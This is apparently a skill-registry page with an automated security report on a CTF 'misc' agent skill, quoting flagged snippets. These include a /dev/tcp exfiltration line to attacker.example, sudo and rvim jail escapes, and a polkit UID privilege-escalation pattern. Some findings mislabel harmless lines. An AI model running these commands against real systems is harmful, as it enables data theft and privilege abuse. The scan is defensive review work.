ljagiello/ctf-skills / ctf-misc
ctf-misc
FlaggedProvides miscellaneous CTF challenge techniques for problems that do not cleanly fit the main categories. Use for encoding puzzles, pyjails, bash jails, RF/SDR, DNS oddities, unicode tricks, esoteric languages, QR or audio puzzles, constraint solving, game theory, unusual sandbox escapes, and hybrid logic puzzles. Prefer a more specific skill first when the challenge is mainly web, pwn, reverse, forensics, malware, OSINT, or crypto. Treat this as the fallback skill for genuine cross-category or edge-case challenges, not the default starting point.
Security report
FlaggedStatic analysis of one exact version. It reduces risk and shows evidence; it does not certify that a skill is safe.
- Commit
20d182d9377f0467830f314bb0f843cae4dbf55e- Content hash
5651e53d8998e3cea7a786d59f5a06a9f5c384403d30e997a59fa8e0d6ab0eed- Scanned
- 2026-11-17
- Scanner version
- skillxone-scan-1.0.0
- Policy version
- 0.1-draft
- Decision
- 2 open critical or high findings.
- Verification expires
- Not applicable
Findings (1 critical, 1 high, 5 medium, 10 low, 2 info)
The command gives a remote host interactive control of this machine (a reverse shell).
- `socat TCP-LISTEN:PORT,bind=127.0.0.1 EXEC:cat /flag` → flag on localhost portSuggested fix: Remove it.
A disk or partition tool can erase or reformat a drive.
fdisk -lSuggested fix: Remove disk and partition operations from the skill.
The command gives a remote host interactive control of this machine (a reverse shell). Severity lowered from critical because the surrounding text warns against it.
cat /opt/flag > /dev/tcp/attacker.example/8081Suggested fix: Remove it.
A local file is sent to a remote host.
jq -r '.data.description' | grep -oE '(nc |ssh |https?://)[^ <"]+' | head -5Suggested fix: Make uploads explicit to the user, name the destination, and never send files the task does not need.
A local file is sent to a remote host.
if (0 <= nr < len(grid) and 0 <= nc < len(grid[0])Suggested fix: Make uploads explicit to the user, name the destination, and never send files the task does not need.
The skill refers to system password files, a location that holds private data or credentials. Severity lowered from high because it appears in prose rather than code.
- [Crafted Pcap for /etc/sudoers.d (Dump HTB)](#crafted-pcap-for-etcsudoersd-dump-htb)Suggested fix: Do not read credential stores or private files. If the task needs a credential, ask the user to provide it through the environment.
The skill sets something to run automatically later (scheduled task, login item or shell start-up file).
**Pattern:** polkit treated UIDs greater than `INT_MAX` (`2147483647`) as "unknown user" and *skipped* authentication. Create a user with `UID = 4020181224`, then run `systemctl enable --now /path/to/pwn.service` — polkit lets the call thr…Suggested fix: Do not install persistent jobs or edit shell start-up files. Tell the user what to add if they want it.
A link uses unencrypted http:// (rbndr.us), so its content can be altered in transit.
**Tools:** [rbndr.us](http://rbndr.us/) for quick rebinding without custom DNS, [singularity](https://github.com/nccgroup/singularity) for automated attacks.Suggested fix: Use https://.
A command runs with administrator privileges.
**Pattern (vimjail):** `rvim` (restricted vim) blocks `:!`, `:shell`, and similar command execution. However, `rvim -u custom_vimrc` loads a user-specified vimrc file that executes before restrictions are fully applied. If `rvim` is run vi…Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo -u secretuser rvim -u /tmp/evil_vimrc /dev/nullSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A link uses unencrypted http:// (wry.me), so its content can be altered in transit.
**Pattern:** A short C-like one-liner is bytebeat — a generative music format where `t` is a monotonic sample counter. Paste into an online interpreter (http://wry.me/bytebeat/) to hear it; the resulting tune is a recognizable song whose t…Suggested fix: Use https://.
A command runs with administrator privileges.
Techniques from HackTheBox machine writeups covering sudo abuse, service misconfigurations, database exploitation, and credential extraction.Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
Sudo's `fnmatch()` matches `*` across argument boundaries including spaces, allowing injection of extra flags into a locked-down sudo command.Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
## sudo file -m Magic File Directory Traversal (OTW Advent 2018)Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo -u santa file -m /root/ .Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
**Key insight:** Sudoers audits usually focus on the main binary, not its secondary flags. `file -m`, `tar --to-command`, `find -exec`, and `awk -f` all turn an innocuous sudo rule into directory listing or command execution. Enumerate sud…Suggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
A command runs with administrator privileges.
sudo -lSuggested fix: Avoid sudo where possible. If it is required, explain why so the user can decide.
SKILL.md pre-approves unrestricted shell access through `allowed-tools`, so the agent may run commands without asking.
allowed-tools: Bash Read Write Edit Glob Grep Task WebFetch WebSearch SkillSuggested fix: Restrict the tool, for example `Bash(git status:*)`, or leave approval to the user.
The text uses language typical of jailbreak prompts. Severity lowered from medium because the surrounding text warns against it.
- For ML/AI techniques (model attacks, adversarial examples, LLM jailbreaking), see `/ctf-ai-ml`.Suggested fix: Remove the jailbreak framing.
Checks run
- prompt-injection
- dangerous-commands
- credentials
- network
- file-access
- integrity
Checks skipped
- dependencies: No dependency manifest in the skill directory.
- gitleaks: gitleaks is not installed on this host.
Related skills
| Skill | Stars | Updated | Works with | Status | Install |
|---|---|---|---|---|---|
| reverse-engineer-anythingmorluto/reaReverse engineer native, managed, Electron/JavaScript, packaged, firmware, and browser targets with REA, and build agent environments (AgentEnv bundles) of web applications from a live instance or a capture, and of Linux desktop apps with a task from a request. Use shipped-artifact or requested runtime evidence to explain features, compare versions, decompile code, or guide a reconstruction. Skip REA for ordinary source-repository architecture analysis. | Stars: 471k | Updated | Claude CodeCodex | Verified | Install |
| diagnosing-superpowersobra/superpowersUse when a superpowers session went wrong and your human partner wants to know why — repeated work, ignored plans, stumbles, poor results, a skill that didn't fire, "it took too long", "why is it so expensive", "what is it doing" — or wants to build a bug report for the superpowers maintainers, for the current session or a past one identified by id or path, on any harness. | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| dispatching-parallel-agentsobra/superpowersUse when facing 2+ independent tasks that can be worked on without shared state or sequential dependencies | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |
| executing-plansobra/superpowersUse when executing an implementation plan in the current session as the implementer yourself — your human partner chose inline execution, or no subagent tool is available | Stars: 322k | Updated | Claude CodeCodex | Verified | Install |